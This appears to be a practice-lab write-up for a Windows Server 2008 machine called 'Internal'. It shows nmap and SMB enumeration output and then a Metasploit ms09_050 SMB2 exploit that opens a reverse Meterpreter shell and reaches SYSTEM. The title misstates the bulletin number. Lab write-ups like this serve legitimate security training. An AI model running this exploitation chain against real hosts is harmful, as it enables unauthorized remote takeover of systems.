Internal (MS90-050 exploit to root)

Nmap

```
PORT      STATE SERVICE            VERSION
53/tcp    open  domain             Microsoft DNS 6.0.6001 (17714650) (Windows
Server 2008 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.0.6001 (17714650)
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows Server (R) 2008 Standard 6001 Service
Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2022-12-12T20:46:57+00:00; -1m01s from scanner time.
| rdp-ntlm-info:
|   Target_Name: INTERNAL
|   NetBIOS_Domain_Name: INTERNAL
|   NetBIOS_Computer_Name: INTERNAL
|   DNS_Domain_Name: internal
|   DNS_Computer_Name: internal
|   Product_Version: 6.0.6001
|_  System_Time: 2022-12-12T20:46:49+00:00
| ssl-cert: Subject: commonName=internal
| Not valid before: 2022-07-27T05:16:05
|_Not valid after:  2023-01-26T05:16:05
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: INTERNAL; OS: Windows; CPE:
cpe:/o:microsoft:windows_server_2008::sp1, cpe:/o:microsoft:windows,
cpe:/o:microsoft:windows_server_2008:r2

Host script results:
```

```
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.0.2:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R)
2008 Standard 6.0)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: internal
|   NetBIOS computer name: INTERNAL\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-12-12T12:46:49-08:00
|_nbstat: NetBIOS name: INTERNAL, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:bf:26:06 (VMware)
|_clock-skew: mean: 1h34m59s, deviation: 3h34m41s, median: -1m01s
| smb2-time:
|   date: 2022-12-12T20:46:49
|_  start_date: 2022-07-28T05:16:03
```

SMB Enumeration

```
┌──(root㉿kali)-[~/pg/practice/Internal]
└─# crackmapexec smb 192.168.68.40 -u "guest" -p "" --shares
SMB         192.168.68.40   445    INTERNAL         [*] Windows Server (R) 2008
Standard 6001 Service Pack 1 (name:INTERNAL) (domain:internal) (signing:False)
(SMBv1:True)
SMB         192.168.68.40   445    INTERNAL         [-] internal\guest:
STATUS_ACCOUNT_DISABLED
SMB         192.168.68.40   445    INTERNAL         [-] Error enumerating shares:
SMB SessionError: 0x5b
```

Likely Windows Server 2008 Standard.

Exploitation

Based of the service version, this machine is likely vulnerable to ms09_050.

Metasploit

```
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run

[*] Started reverse TCP handler on 192.168.49.68:80
[*] 192.168.68.40:445 - Connecting to the target (192.168.68.40:445)...
[*] 192.168.68.40:445 - Sending the exploit packet (951 bytes)...
[*] 192.168.68.40:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (175174 bytes) to 192.168.68.40
[*] Meterpreter session 1 opened (192.168.49.68:80 -> 192.168.68.40:49159 ) at 2022-12-12 16:13:02 -0500

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```